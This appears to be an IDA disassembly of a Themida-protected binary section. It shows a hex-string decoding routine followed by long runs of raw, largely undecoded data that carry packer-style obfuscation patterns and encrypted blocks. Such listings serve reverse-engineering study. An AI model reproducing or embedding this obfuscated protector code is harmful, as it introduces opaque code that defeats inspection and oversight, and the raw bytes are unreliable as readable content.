loc_541AE5:				; CODE XREF: Themida_:00541AECj
		inc	dword ptr [ebp-4]
		inc	esi


loc_541AE9:				; CODE XREF: Themida_:00541AE3j
		cmp	byte ptr [esi],	0
		jnz	short loc_541AE5
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_541B7A
; ---------------------------------------------------------------------------


loc_541AFB:				; CODE XREF: Themida_:00541B7Dj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_541B71
; ---------------------------------------------------------------------------


loc_541B04:				; CODE XREF: Themida_:00541B75j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_541B5E
; ---------------------------------------------------------------------------


loc_541B14:				; CODE XREF: Themida_:00541B62j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_541B36
		cmp	bl, 39h
		ja	short loc_541B36
		sub	bl, 30h
		jmp	short loc_541B58
; ---------------------------------------------------------------------------


loc_541B36:				; CODE XREF: Themida_:00541B2Aj
					; Themida_:00541B2Fj
		cmp	bl, 61h
		jb	short loc_541B48
		cmp	bl, 66h
		ja	short loc_541B48
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_541B58
; ---------------------------------------------------------------------------


loc_541B48:				; CODE XREF: Themida_:00541B39j
					; Themida_:00541B3Ej
		cmp	bl, 41h
		jb	short loc_541B58
		cmp	bl, 46h
		ja	short loc_541B58
		sub	bl, 41h
		add	bl, 0Ah


loc_541B58:				; CODE XREF: Themida_:00541B34j
					; Themida_:00541B46j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_541B5E:				; CODE XREF: Themida_:00541B12j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_541B14
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_541B6E
		mov	eax, [ebp-10h]
		stosb


loc_541B6E:				; CODE XREF: Themida_:00541B68j
		inc	dword ptr [ebp-8]


loc_541B71:				; CODE XREF: Themida_:00541B02j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_541B04
		add	edx, 4


loc_541B7A:				; CODE XREF: Themida_:00541AF9j
		cmp	edx, [ebp-4]
		jb	loc_541AFB
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		db 0B9h, 0, 70h
		dd 0BD8D0000h, 93535D0h, 49470FFEh, 21B8FA75h, 0BA486921h
		dd 0F00E0000h, 0EA81h, 858DF000h, 93536ECh, 35FF6450h
		dd 0
		dd 258964h, 0E8000000h,	0
		dd 13BB6658h, 0E86050A5h, 8, 372D5C66h,	2B665812h, 605B6158h
		dd 12E8h, 21681D00h, 7BD6F5C6h,	3758C93h, 0B90E24CEh, 0E840A427h
		dd 0Dh,	846A1DF7h, 0ADB3DE91h, 0F5555A46h, 0F5A5A23h, 0E88h
		dd 8E800h, 0D1300000h, 25DC147Bh, 615A8534h, 8B66C22Bh
		dd 0F00025D8h, 8B66FFFFh, 33CA8BD9h, 388166FFh,	0E755A4Dh
		dd 3C50B70Fh, 3A81D003h, 4550h,	2D0874h, 47000010h, 8F64E3EBh
		dd 5, 4C48300h,	36FF958Dh, 64520935h, 35FFh, 89640000h
		dd 25h,	2DC10300h, 1000h, 8104708Bh, 0FF0000E6h, 0FE81FFh
		dd 76800000h, 1C708B03h, 0F883C033h, 661F7432h,	5A4D3E81h
		dd 0EE810974h, 10000h, 8BEBEB40h, 0FE033C7Eh, 45503F81h
		dd 44740000h, 8F64E8EBh, 5, 4C48300h, 8B51C361h, 8110244Ch
		dd 0B0A9h, 100000h, 0C0335900h,	4C8B51C3h, 0E8551024h
		dd 0
aBa75Ne65Ib	db ']│М',0Ah
		db '75',9,'█┘х65',9,'┴│╦',0
		db 2 dup(0), 5Dh
		dd 0C3C03359h, 58F6496h, 0
		dd 0F04C483h, 385h, 0D9BF0F00h,	0F8D98C66h, 8104E180h
		dd 0CBEBC9C3h, 0FC90A2Ch, 1E85h, 0BAF96000h, 711EC4F0h
		dd 1985C761h, 109351Ch,	81000000h, 1A7845DBh, 2FE93Ch
		dd 0C7F50000h, 351C1985h, 9, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 98C78BB8h
		dd 0B9C1F71Ch, 0C9858920h, 0E909350Eh, 0Ch, 7280E7EFh
		dd 7A6E1AD6h, 0AB9DA771h, 0B890Fh, 6E90000h, 9B000000h
		dd 6BB2441h, 7D8589A1h,	0E8093516h, 6, 61B8C65Ah, 8B66F95Fh
		dd 0B70F5ECBh, 0A4C681CEh, 8100006Bh, 270D49F1h, 0FC02B76h
		dd 34FFFAB7h, 0BE830h, 0CFE10000h, 980036CDh, 0E16AA8FFh
		dd 0EDC181EBh, 5953BCE5h, 0FABF0F5Ah, 0C817EA81h, 0F607BE4h
		dd 5E9C1B7h, 80000000h,	0E6052AE5h, 8DC28161h, 66373A93h
		dd 8171A7BBh, 0AA35F5C2h, 0FE8B6620h, 66061489h, 0D181D88Bh
		dd 3C880DA6h, 89F2E881h, 0CF816BBFh, 41123E21h,	89EEC081h
		dd 0AE86BBFh, 0BD000000h, 0C4F07D7Eh, 4C88A67Eh, 5BCF8BB1h
		dd 9504F881h, 850FFFFFh, 0FFFFFF7Eh, 7E9h, 9614E500h, 0A628FD5Ch
		dd 732E9h, 91BD8900h, 17093510h, 1D000002h, 93532h, 958B6000h
		dd 9352CB1h, 4C24A2BAh,	9606102h, 3521F59Dh, 0B809h, 0BD890000h
		dd 9351749h, 0C599589h,	548B0935h, 8A0F2824h, 1, 7D8589F9h
		dd 9093512h, 35003D95h,	3CBE09h, 880F0000h, 0Ch, 6880Fh
		dd 8F0F0000h, 0
		dd 24247403h, 8E960h, 7FA70000h, 0BDE01BD0h, 95296CEBh
		dd 9352801h, 9E96061h, 58000000h, 4C029268h, 8EFBE533h
		dd 8258D31h, 66610935h,	8D0F60ADh, 6, 1065858Bh, 0B58B0935h
		dd 9353071h, 24440361h,	0EE924h, 91F90000h, 0F2FBE9F9h
		dd 0B30BA3BEh, 0EF6CCAC8h, 0B860F90h, 0E9000000h, 6, 0BCB4CD35h
		dd 0F5080B6h, 148Bh, 0FE900h, 10860000h, 183E06EEh, 408C90ABh
		dd 0D7C92806h, 666090D0h, 0E980B9B9h, 0Eh, 4621E8B4h, 8F149CC6h
		dd 4D34EDA1h, 0E9615D0Ch, 10h, 886B377Ch, 0FA2A381Bh, 34DCF5A4h
		dd 4F709B2h, 0F978408Bh, 29198D89h, 44030935h, 2B602824h
		dd 35235595h, 9B53309h,	6109351Ch, 0F18408Bh, 18Bh, 6040F800h
		dd 8E9h, 0D7EEA300h, 9530E71Fh,	0B58B52BBh, 93528CDh, 85896159h
		dd 9353881h, 0BE9h, 55E96B00h, 7C8EF382h, 0BF646DC8h, 68A0F58h
		dd 31000000h, 352D3D85h, 78708B09h, 0E870Fh, 9600000h
		dd 352D419Dh, 0C58D8909h, 6109351Ah, 0F51CC683h, 24247403h
		dd 12E9h, 0F7AB4D00h, 8588A506h, 586284CDh, 16EEE0D6h
		dd 8D0F7570h, 350571BDh, 6800F09h, 31000000h, 35117185h
		dd 0E9ADF509h, 9, 0E4BECD47h, 4E86B0C0h, 244403A2h, 0C8C0F24h
		dd 0F000000h, 682h, 21850100h, 0AB09352Eh, 2609B529h, 0BD8D0935h
		dd 9351D59h, 10299529h,	0FCAD0935h, 24244403h, 9E9F8h
		dd 0DD330000h, 9000FEB8h, 50A6F74Bh, 6880F60h, 0F000000h
		dd 86h,	1BEEBE00h, 89613F74h, 85292404h, 9350635h, 3D9D29ABh
		dd 8D09352Ch, 350A79BDh, 89ADFC09h, 3506D5BDh, 24440309h
		dd 10E928h, 0D1C00000h,	0F1B1B52Bh, 0E0DF749Eh,	5AA67011h
		dd 0FCAB4AB5h, 10E95Eh,	70370000h, 0DAC72D6Ch, 333106CBh
		dd 8FF29238h, 8DFF933Fh, 9353881h, 3881BD83h, 75000935h
		dd 2444C710h, 1Ch, 44B58D00h, 0FF09353Dh, 3AD56E6h, 97282444h
		dd 858ADF8Bh, 935179Dh,	474C084h, 4C75073Ah, 0AEC03257h
		dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
		dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h,	66504135h
		dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
		dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 127D85FFh
		dd 6FE90935h, 5EFFFFFFh, 0ED8589FCh, 0FC093525h, 127D858Bh
		dd 8E90935h, 0A6000000h, 0F920F1FBh, 0D1CB3D0Ah, 68C0FE0h
		dd 31000000h, 352BA98Dh, 8503F909h, 9350A79h, 0FCF62BFCh
		dd 68F0F96h, 29000000h,	3505019Dh, 60AD6609h, 0CD98D89h
		dd 0BF0F0935h, 0E0C161C8h, 5E86002h, 91000000h,	2F00BA2h
		dd 1D8D8509h, 35F0935h,	3530898Dh, 85036109h, 9350571h
		dd 28818D89h, 60960935h, 2625858Bh, 840F0935h, 12h, 0CE8h
		dd 0E6BC8400h, 0AB6F6F5h, 4F519E44h, 0F615F0Fh,	0B81h
		dd 6E900h, 0BA7A0000h, 0A7035CBCh, 0DE9ADh, 49AA0000h
		dd 0F6438E70h, 0CCB17624h, 8BDE62DAh, 0F524244Ch, 24244403h
		dd 1299BD31h, 44890935h, 0BF601C24h, 5876DE88h,	66609661h
		dd 0AC61CF8Bh, 89C932F5h, 352FC59Dh, 0FC1FE09h,	188Dh
		dd 13E900h, 46640000h, 586EA8E3h, 5CA94B52h, 0BAF30E7Eh
		dd 4CC0709Bh, 0FD0D069h, 0B583h, 14E96000h, 0C1000000h
		dd 0DFFBF431h, 11187461h, 0FAF3CED8h, 574C66F3h, 610DA12Fh
		dd 830FD0D0h, 92h, 178B0Fh, 12E90000h, 81000000h, 922A806Fh
		dd 5D434BDCh, 362178F7h, 311FD1CCh, 0DC8060CAh,	7D9D23C2h
		dd 61093501h, 820FD0D0h, 62h, 7E9h, 0C10AF500h,	3D4F6FD6h
		dd 820FD0D0h, 4Eh, 0FC9FEF8h, 0FFFF8889h, 858960FFh, 9352B09h
		dd 20C48361h, 2444C7F5h, 0FCh, 1B8F800h, 0F8000000h, 70998D8Dh
		dd 0AE90935h, 34000000h, 0FABA70D5h, 831DE6D4h,	0E1FFF5A7h
		dd 0C850Fh, 860F0000h, 6, 2291B501h, 85C60935h,	935179Dh
		dd 0E961F900h, 0Dh, 80787083h, 0C9E7DE9Dh, 0B8C8C1C4h
		dd 8C203h, 12419D29h, 0E9960935h, 0Dh, 0AE93DD04h, 0AF5E73A8h
		dd 379BCF1Fh, 6E95040h,	7B000000h, 0A905AFE4h, 89F59646h
		dd 35105D95h, 41B58909h, 6009353Fh, 6890FF5h, 0F000000h
		dd 85h,	8D896100h, 9353F72h, 4EDB529h, 0B58D0935h, 9353E07h
		dd 35858DF8h, 0F005B7Eh, 685h, 11BD8900h, 0FF09350Dh, 0DE9D0h
		dd 2B140000h, 30176FEEh, 0D69FE965h, 5E86192Dh,	8E9h, 0F3413000h
		dd 41BA7177h, 60F5C3D5h, 12759D89h, 0DE90935h, 4D000000h
		dd 25AB6B58h, 77591529h, 8EB3B107h, 41B58B61h, 0F09353Fh
		dd 118Bh, 0CE900h, 0AEE10000h, 5245466Eh, 91323AD6h, 8D8B957Ch
		dd 9353F72h, 1840Fh, 2BF80000h,	0CE9C0h, 0DCB0000h, 9A75ADB0h
		dd 0B940C57Ah, 0D98B1051h, 0DAE9F8h, 32F90000h,	810FF526h
		dd 6, 2CB9B529h, 2B20935h, 2295BD09h, 89E90935h, 0E9000000h
		dd 8, 545175CAh, 0D47DBAC5h, 2960C232h,	352A8DBDh, 0ED852909h
		dd 61093504h, 751D7A05h, 0B995898Ah, 0E9093510h, 11h, 0CD1800B6h
		dd 52D129D9h, 5D99704Ah, 0B9794085h, 60CC8A28h,	0CE8h
		dd 0BC7A3B00h, 2D62A9Ch, 735EEFE8h, 0F8C081B4h,	5E4389C8h
		dd 1DF9BD8Bh, 0D3610935h, 17B060C8h, 273D9D01h,	35610935h
		dd 98D10842h, 60CAFEF8h, 8E8h, 67CCCC00h, 91507EE6h, 2C83BEF2h
		dd 61580A24h, 850FD20Ah, 0FFFFFF7Ch, 499D8960h,	0B3093528h
		dd 604B61F2h, 6E9h, 402B2600h, 89F6E1AFh, 352FBD85h, 0F466109h
		dd 18Eh, 0B589FC00h, 9351C39h, 850FDB0Bh, 0FFFFFF1Fh, 6860Fh
		dd 0BD890000h, 9351C65h, 419589CFh, 9350Ah, 2DB52900h
		dd 0E9093501h, 12h, 73A8AE93h, 0CF1FAF5Eh, 3B40379Bh, 0C8EB394Dh
		dd 732h, 239DB589h, 0B9600935h,	7A9A1E15h, 61DF8B66h, 8B0F0000h
		dd 16h,	11E9h, 638B700h, 2D7BB8D0h, 6D95AAECh, 9D0C0DEFh
		dd 0F5C0F2h, 148B0F00h,	0E9000000h, 0Fh, 514C297h, 2B7CDFA0h
		dd 0AB7B0E76h, 8D421C55h, 35389885h, 0C8F0F09h,	0F000000h
		dd 680h, 8E0F00h, 89000000h, 35282185h,	95858909h, 8D09350Ch
		dd 353D6885h, 0E1850109h, 0E909352Ch, 6, 0D50D2E9Fh, 8589229Fh
		dd 93526EDh, 0EE8h, 0B5155D00h,	5AF8087Bh, 790A1D57h, 0BF9D78C3h
		dd 41A84EF6h, 0F6CF805Ah, 6789C281h, 8D090000h,	9352DC9h
		dd 5B53C02Bh, 0F1034FFh, 58Eh, 0C1816600h, 0F5E8DB4h, 685h
		dd 0C1958900h, 81093510h, 73A643C6h, 0CD8D893Ah, 81093524h
		dd 33E6C4C6h, 68B0F72h,	0B000000h, 3532099Dh, 23F68109h
		dd 8B39FA26h, 23489DFh,	0E880Fh, 8B600000h, 3506658Dh
		dd 0C1952909h, 6109350Ch, 3C65E881h, 8B601EC3h,	352E19BDh
		dd 61BDB309h, 3C61C081h, 34BB1EC3h, 8131A8FAh, 0FF9924F8h
		dd 81850FFFh, 0E9FFFFFFh, 6, 4AE749DBh,	14EB6073h, 4 dup(0)
		dd 8Bh,	4172858Dh, 85890935h, 9352499h,	40B2BD83h, 0F000935h
		dd 12384h, 9D85C600h, 56093517h, 0DFDF9468h, 2404819Ch
		dd 373F8DA5h, 0EC9B5FFh, 858D0935h, 9353898h, 8589D0FFh
		dd 93540A6h, 179D85C6h,	0E8560935h, 4, 9CA8B852h, 24448B50h
		dd 89008B04h, 58042444h, 0EC9B5FFh, 858D0935h, 9353898h
		dd 8589D0FFh, 93540AAh,	0A568046Ah, 817F00F8h, 0E8A52434h
		dd 858B7F00h, 93540B6h,	1F405h,	2E0C100h, 24048950h, 95FF006Ah
		dd 93540AAh, 40AE8589h,	0D88B0935h, 0FFFFFFB8h,	9995FFFFh
		dd 8B093524h, 9995FFC3h, 0E9093524h, 84h, 40B2BD83h, 0F000935h
		dd 185h, 8B57C300h, 3540AEBDh, 8583AB09h, 93540AEh, 83C35F04h
		dd 3540B2BDh, 850F0009h, 1, 0AD8360C3h,	93540AEh, 0AE9D8B04h
		dd 83093540h, 0FFFFC7Bh, 1D85h,	37A06800h, 481D912h, 0EE486024h
		dd 0FF006A26h, 0A695FF33h, 61093540h, 1DE9C3h, 0F5680000h
		dd 8113CAC7h, 47F52434h, 6A13CAh, 95FF33FFh, 93540A6h
		dd 40AEAD83h, 0E9040935h, 0FFFFFFB1h, 9D3E948h,	0CB260000h
		dd 4A34C665h, 0C722ED61h, 7B5C48A3h, 0D401E6FEh, 7D1602BDh
		dd 0C52DF362h, 0C421DA70h, 0ED7B433Bh, 83FCB65h, 0D030E56Dh
		dd 694D1BF1h, 9F0EA3F9h, 776661D2h, 0C430E768h,	0C421887Ch
		dd 0EE744539h, 825CB65h, 0CF2AF872h, 775105F1h,	911AB4E2h
		dd 3B5202B9h, 0D530E37Fh, 8A20DA31h, 0F860452Ch, 4723D265h
		dd 0CF24F873h, 0FFh, 62h dup(0)
		dd 0CB260000h, 463ECF65h, 0D02AFE7Dh, 754618F1h, 0DC02B4EAh
		dd 685704F8h, 0C426E42Dh, 0C532883Eh, 0AA714420h, 463FD737h
		dd 8222E47Dh, 631406B8h, 9111B3E2h, 6F4515ABh, 0AB6DEB68h
		dd 0CF38F85Dh, 0A6705934h, 443FD765h, 8221EB7Bh, 7C141CB8h
		dd 910EA9FFh, 745B09B5h, 0C063FF7Fh, 0D874CC3Eh, 0EB615930h
		dd 5171D637h, 8237FF7Bh, 7D5B1AA1h, 9F0EA7FFh, 48h dup(0)
		dd 0CB260000h, 4923C165h, 0D020E177h, 6E141BF6h, 910FA9E2h
		dd 3B450DB0h, 0CF26E36Fh, 0DF3BCE70h, 0F8354E3Bh, 413FCC30h
		dd 0CB65ED7Ah, 754D48BFh, 0C243B4F8h, 7E421FA1h, 0AC49A860h
		dd 0CB31C400h, 0AA394F26h, 473DCC30h, 0CB65EE75h, 685248A5h
		dd 0DC43ABE2h, 695901BDh, 0CF22A674h, 0CF268834h, 0F8745E26h
		dd 47288231h, 0D265F861h, 685307A3h, 4DABECh, 61h dup(0)
		dd 0CC260000h, 834CE2Ch, 0D037E577h, 7F4018A4h,	914DE7E9h
		dd 685F048Ch, 0CE31F62Dh, 0C735DA37h, 0F9744275h, 4D34C065h
		dd 0C328AA7Ah, 6F4401BFh, 0D417A7E1h, 75574CBCh, 0C02EA669h
		dd 0A031CA29h, 0AD614358h, 46388236h, 0D626EF72h, 78140CB4h
		dd 9102E6F4h, 6E44058Eh, 0D32CA67Eh, 0CB26CB70h, 0EE704136h
		dd 4005826Bh, 0C465F97Dh, 3A5104B8h, 960DA9FAh,	74414CACh
		dd 0C063ED7Fh, 0C539D13Eh, 3B4F27h, 0E0h dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		dd 2E64E900h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 2E5F20C3h, 0C21D1FCDh, 89A89D52h
		dd 3503F1B5h, 6BEA8009h, 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0F40401E2h, 9D8FD4Ch
		dd 352DCD85h, 81C08B09h, 869E4C2h, 0A1BD8355h, 93526h
		dd 0BD830975h, 9353079h, 50137400h, 0B8C08B53h,	1, 0B2DA9D8Dh
		dd 0D3FF0937h, 0BD83585Bh, 9353079h, 50117400h,	1B853h
		dd 9D8D0000h, 937B18Bh,	585BD3FFh, 80DE8B66h, 0C08B56D6h
		dd 83D38B66h, 352855BDh, 840F0009h, 19Ah, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 16h, 33C35545h, 0BD83AB15h
		dd 93529E1h, 6F840F00h,	8B000001h, 35278995h, 8BF96009h
		dd 3529E185h, 62AABA09h, 0E80508B2h, 0E9000003h, 14h, 0F7C22014h
		dd 4033D997h, 0AD6BDA67h, 0B94EFF4Eh, 8D7FFAE7h, 68F0F90h
		dd 50000000h, 4FABA66h,	0D68B505Ah, 0D88B5190h,	0B6858D5Ah
		dd 0E909354Bh, 11h, 0D6E0AEBBh,	7A053678h, 0FCD1E26h, 211EB213h
		dd 489501Ch, 51006A24h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 898CF035h, 3503FDB5h, 5D9D8B09h
		dd 60093530h, 8BC7BF0Fh, 350DA985h, 858D6109h, 9354B94h
		dd 0FE9h, 52620600h, 0E7E68EFDh, 0ED7B7841h, 937F6036h
		dd 0CE95150h, 0ED000000h, 6C9C7E7Ah, 11D9E5B9h,	5B323B2Fh
		dd 60240489h, 1F29B58Bh, 61F90935h, 275995FFh, 6B60935h
		dd 12B99D8Bh, 0C4830935h, 0D381660Ch, 858DE487h, 9354B94h
		dd 175D9589h, 8B900935h, 0BB5150DAh, 371B9F35h,	6A905Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0EED422C3h, 897EDE82h, 3510AD85h, 6A026A09h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 13A6C357h, 0E3D8ECFBh, 9D2BFFDAh, 9350BCDh, 0FF17D280h
		dd 68857495h, 61D68B00h, 0B59D8B60h, 8909350Ah,	35043195h
		dd 85C76109h, 9354BC7h,	1, 14CB8166h, 0BB6696FAh, 0F50C58Fh
		dd 286h, 96F38A00h, 10E9h, 5E5B1F00h, 0CF122C87h, 0F4731E74h
		dd 2770186Dh, 78B58925h, 6A09354Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 80E0C352h
		dd 66829F75h, 4234CB81h, 0BD83D18Ah, 9351C19h, 7C850F01h
		dd 60000000h, 11E9h, 0E2FA2000h, 71A12BCDh, 2A2E923Ch
		dd 5F2F7590h, 0B70F6BA7h, 0F88361C1h, 58850F05h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0FA5AC356h, 0F3BA9B74h, 71C02BA6h, 9E9h
		dd 7F0A7300h, 137621Dh,	0B8AB07h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 38F4C357h, 83D1B2DDh, 350D55BDh, 840F0009h, 12h, 81665CB2h
		dd 0B89D1FF3h, 0
		dd 3359529h, 6A600935h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0B744C357h,	0AD858B7Eh
		dd 6A093526h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 5676C357h, 70B07A77h, 80F9C0Fh
		dd 2EE1958Bh, 9D230935h, 93503CDh, 8B02C083h, 708589D0h
		dd 6609354Bh, 0C61C16BAh, 5157FF00h, 793CEA81h,	5A5B7CFBh
		dd 179D85C6h, 2B530935h, 350E319Dh, 43F96809h, 8B60F980h
		dd 0CE9DAh, 0A3B0000h, 99D4D57h, 2C9ED988h, 8161D7FBh
		dd 0B212434h, 6A0531h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0B5FF2FC3h, 935167Dh, 27919D89h
		dd 858D0935h, 9387B70h,	0E09377BAh, 6AD0FF04h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 2ACCC356h, 0D371CE26h, 735D3FAh, 8298589h, 0BD830935h
		dd 9351F91h, 0BF850F01h, 89000000h, 350E1DB5h, 9D096009h
		dd 93528F5h, 10799529h,	61610935h, 24B59D89h, 85C60935h
		dd 935179Dh, 56006A45h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 485F2A17h, 24407AA7h, 99686A88h
		dd 0BA89051Bh, 0F7A7C9Eh, 29240481h, 0F515B1Dh,	0B5FFD7BFh
		dd 935167Dh, 1D3D8509h,	858D0935h, 9387B70h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 36C35343h, 0D0FFC6ABh
		dd 6ECB8166h, 66006AB4h, 7B46C381h, 6AD0FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F7E2F4C3h
		dd 16FDB529h, 0BD830935h, 935129Dh, 0C2850F01h,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 10DBC353h, 0AD858BADh, 8B093526h,	35267D9Dh
		dd 49BA6609h, 77E9AFh, 958B0000h, 9353049h, 0E9525050h
		dd 0Ch,	7D3501D5h, 6DA78135h, 344C1DF9h, 9E9310Fh, 87000000h
		dd 0C88D9052h, 0C39B4B14h, 489585Ah, 29BD2924h,	6A09351Fh
		dd 55006A14h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 5F940A66h, 65456B72h, 0D98AA2ECh, 82995FFh
		dd 952B0935h, 9351BC9h,	0D899D8Bh, 89580935h, 3502A1BDh
		dd 388009h, 0FF86850Fh,	8589FFFFh, 9350BF9h, 2F058589h
		dd 0C60935h, 85896101h,	93522C9h, 0E35BD83h, 0F000935h
		dd 8984h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 6076A52Ch, 2E25BD8Bh, 0B58B0935h
		dd 93521D5h, 1D9D8B61h,	6A093532h, 0D99D03FFh, 0FF093516h
		dd 35082995h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 8B86977Eh, 14E9B7C5h, 0B2000000h
		dd 0B9EF9932h, 6E4B9916h, 0A56B399h, 1B29CE4h, 8BB47874h
		dd 3506219Dh, 0FFADE909h, 0BB66FFFFh, 85C7B812h, 9350E35h
		dd 1, 0CD9D0356h, 5A09352Eh, 4B7C8589h,	64B20935h, 55BB6650h
		dd 24048935h, 1F359589h, 60FC0935h, 12E9h, 6F2B6300h, 0EAB4530Ah
		dd 742C1184h, 26ABD6E5h, 89AD292Dh, 351F1185h, 89056A09h
		dd 3527F9BDh, 94858D09h, 6A09354Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 8CCDC353h
		dd 23AF92EFh, 0B0D7A9D4h, 8B90D38Bh, 0B66050D8h, 8D0FA7h
		dd 61000000h, 8850F90h,	0F000000h, 284h, 8D5B5300h, 354B8485h
		dd 7E909h, 48860000h, 57BE3E34h, 0DE8B9021h, 5E850h, 24A20000h
		dd 8A7DB862h, 8B905BDDh, 35016D95h, 0E195FF09h,	0E9093511h
		dd 13h,	0D917DE4Dh, 6D2316B3h, 4D00715Dh, 0CBBB17A0h, 8D8B05C1h
		dd 3579C08Dh, 2DC28109h, 0B417730h, 8D1174C0h, 354B9485h
		dd 0D1FF5009h, 4BB28589h, 0AEB0935h, 4BB285C7h,	0FFFF0935h
		dd 89F9FFFFh, 350AA995h, 61DA8B09h, 85C6C7B7h, 935179Dh
		dd 51006A4Dh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 4BD0CFCEh, 0CCA841B7h, 1D958963h, 68093528h
		dd 7F906556h, 24BA6660h, 13E8FAh, 39CC0000h, 0E6B4FFD4h
		dd 0DC26287Dh, 547AA39Fh, 8F3E6714h, 0B8BE662Bh, 81615B41h
		dd 11522404h, 958B24A5h, 9350605h, 1F39B5FFh, 6A0935h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 1D0938C3h, 4F318A1Ch, 8057AE6Fh, 895A24F7h, 35305595h
		dd 0CD9D0B09h, 8D09350Ch, 387B7085h, 598D8909h,	0FF09350Ch
		dd 56006AD0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 89DE8AC1h, 3525A185h, 50006A09h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0C861EBE0h
		dd 6830Fh, 9D8B0000h, 9351625h,	179D85C6h, 6A450935h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 92BFC353h, 2291E05Fh, 6E8577Ch, 0CD000000h, 0C5AD80E8h
		dd 8B0F79h, 5A000000h, 0C4A0685Bh, 0FE88624h, 7F000000h
		dd 21F666CDh, 46834684h, 3E21F040h, 12B64801h, 2404815Bh
		dd 84DA4C9h, 28E0Fh, 13B60000h,	167DB5FFh, 6A0935h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 14507BC3h, 66606113h, 0B4DDE281h, 858DD78Bh,	9387B70h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 10C35040h
		dd 89D0FF5Dh, 352BE1B5h, 0C9858909h, 0F09351Ah,	58Fh, 6C60BB00h
		dd 0BD8957BCh, 9351125h, 6AD28Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 9D0DE6C3h, 90BE6149h
		dd 66D2BF0Fh, 850FD98Ch, 1, 4C1F6F8h, 1C0840Fh,	9D8B0000h
		dd 9352569h, 0DEE9h, 0C37DBB00h, 0B58B36EAh, 9350C05h
		dd 660DB060h, 0A820D781h, 80C68161h, 66000011h,	53E9D381h
		dd 0FE9h, 0DA6FD00h, 555022DDh,	60F39C33h, 0FF689B12h
		dd 15F9BD83h, 0F000935h, 3185h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0D772FDDh
		dd 898936A4h, 350C618Dh, 65E909h, 8B660000h, 3E83F8D3h
		dd 58840F00h, 0B6000000h, 6AF960FAh, 11E95714h,	94000000h
		dd 570B97A9h, 65620BE4h, 216B7E03h, 0EBDFA567h,	2995FF5Ah
		dd 6A093508h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0FE9CC356h, 9B4FBD1Ch,	611D11B7h
		dd 0A7E9B6B7h, 8BFFFFFFh, 0CD958BD1h, 0C7093525h, 106h
		dd 0D99D8B00h, 83093525h, 354B7CBDh, 850F0509h,	0CAh, 8BDFBF0Fh
		dd 351AC9B5h, 12E909h, 0A6280000h, 0C1BD6682h, 0AB43D987h
